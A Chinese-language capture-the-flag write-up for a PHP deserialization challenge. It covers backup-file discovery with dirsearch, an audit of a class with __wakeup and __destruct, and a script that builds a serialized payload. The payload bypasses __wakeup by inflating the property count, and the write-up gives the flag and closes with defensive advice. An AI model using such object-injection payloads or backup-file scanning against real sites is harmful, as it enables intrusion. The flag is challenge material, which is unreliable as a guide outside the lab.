[极客大挑战 2019]PHP
[极客大挑战 2019]PHP
解题步骤
启动靶场,页面有只玩球的小猫,上面提示有备份文件的习惯,触发关键词直接猜测是备份文件泄露
常见的网站源码备份文件后缀:
zip,rar,tar,7z,tar.gz,bak,txt,pdf
常见的网站源码备份文件名:
web,website,backup,back,www,wwwroot,temp
扫目录
使用 dirsearch 工具来扫目录,该工具kali内置,可以直接使用kali也可以去github上下
dirsearch下载地址:https://github.com/maurosoria/dirsearch

扫出www.zip文件,在网址上拼接将文件下载下来,并解压

代码审计
看到flag文件,直接查看<?php
$flag = 'Syc{dog_dog_dog_dog}';
?>
发现只是定义了一个字符串,应该不可能这么简单就拿到flag
我们访问index.php,基本都是前端我们直接找到后端代码
<?php
include 'class.php'; // 包含了class.php文件
$select = $_GET['select']; // 以GET方式获取名为 select 的参数值,并将其赋值给变量 $select
$res=unserialize(@$select); // unserialize 函数会将字符串反序列化为 PHP 值
?>
从这可以看出这是一道反序列题目而不是简单的文件泄露,所有我们接着往下看
unserialize 的危险性
unserialize 函数会将字符串反序列化为 PHP 值。如果 $select 可以被用户控制(如通过 $_GET 获取),攻击者可以构造恶意的序列化字符串,导致代码执行漏洞(如对象注入攻击)。攻击者可以通过反序列化创建恶意对象,从而调用对象中的方法,执行任意代码。
例如,如果 class.php 中定义了某些类,并且这些类中有可被利用的魔术方法(如 __toString、__destruct 等),攻击者可以构造序列化字符串,使得这些魔术方法被触发,从而执行恶意代码。
顺着包含的文件查看,访问class.php
<?php
include 'flag.php'; // 包含flag文件
error_reporting(0); // 关闭错误报告
class Name{ // 定义类Name
private $username = 'nonono'; // 定义私有属性username
private $password = 'yesyes'; // 定义私有属性password
public function __construct($username,$password){ // 构造函数
$this->username = $username; // 设置私有属性username
$this->password = $password; // 设置私有属性password
}
function __wakeup(){ // 有反序列化时调用魔术方法
$this->username = 'guest'; // 重置私有属性username
}
function __destruct(){ // 析构函数
if ($this->password != 100) { // 判断私有属性password是否等于100
echo "</br>NO!!!hacker!!!</br>"; // 输出错误信息
echo "You name is: "; // 输出用户名
echo $this->username;echo "</br>";
echo "You password is: "; // 输出密码
echo $this->password;echo "</br>";
die(); // 结束脚本
}
if ($this->username === 'admin') { // 判断用户名是否等于admin
global $flag; // 声明全局变量$flag
echo $flag; // 输出flag
}else{ // 否则
echo "</br>hello my friend~~</br>sorry i can't give you the flag!"; // 输出提示信息
die(); // 结束脚本
}
}
}
?>
开头包含了flag文件,在类里定义了两个私有变量,并定义有三个函数__construct,__wakeup,__destruct
其中 __construct 没什么用,因为此魔术方法只在实例化时调用一次,我们并没有直接实例化该类所以这里并没有实际性作用
之后 __wakeup 魔术方法,判定到有序列化时就会让我们传入的 username 变量等于 guest,这个是我们需要特别绕过的点,绕过条件是当成员属性数目大于实际数目时即可绕过
最后 __desctruct 函数,在类结束的时候会调用,该函数第一个判断如果 password 不等于100,则会输出黑客,并输出账户和密码,然后退出函数,第二个判断如果 username 等于 admine 就会输出 flag 否则 失败!
所有我们这边主要要绕过这两个函数的判断,只要我们的密码等于100并且用户是admin就可以成功绕过
username = admin
password = 100
编写脚本
因为是反序列题目,所有我们这边为了方便构造我们的payload,这边直接写一个小脚本<?php
class Name{
private $username;
private $password;
public function __construct($username,$password)
{
$this->username = $username;
$this->password = $password;
}
}
$select = new Name("admin",100); // 实例化对象
$res = serialize($select); // 序列化对象
echo $res; // 输出序列化后的字符串
?>
最后输出得到
O:4:"Name":2:{s:14:" Name username";s:5:"admin";s:14:" Name password";i:100;}
前面提到过要绕过 wakeup 当成员属性数目就要大于实际数目时才可绕过
所以我们要将 2 改为 3 或者任意比二大的数字
同时,要将空格改为 %00 若不改,我们的空格在url里无法识别,所以如下:
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
完整payload
?select=O:4:%22Name%22:3:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;i:100;}

最后拼接url得到flagflag{2dd96abd-82b0-4f88-9fb5-754d1b704c08}
总结
对于class文件
永远不要直接反序列化用户输入的数据,尤其是使用 unserialize。
严格验证和限制输入,确保只允许安全的数据通过。
正确处理错误,不要使用 @ 来抑制错误。
使用 allowed_classes 参数,限制可以被反序列化的类
反序列化漏洞是一种严重的安全问题,可能导致远程代码执行、数据泄露和拒绝服务攻击。通过避免反序列化不可信数据、使用白名单验证、使用安全替代方案、最小化权限、及时更新依赖库以及进行输入过滤与日志监控,可以有效降低反序列化漏洞的风险。

浙公网安备 33010602011771号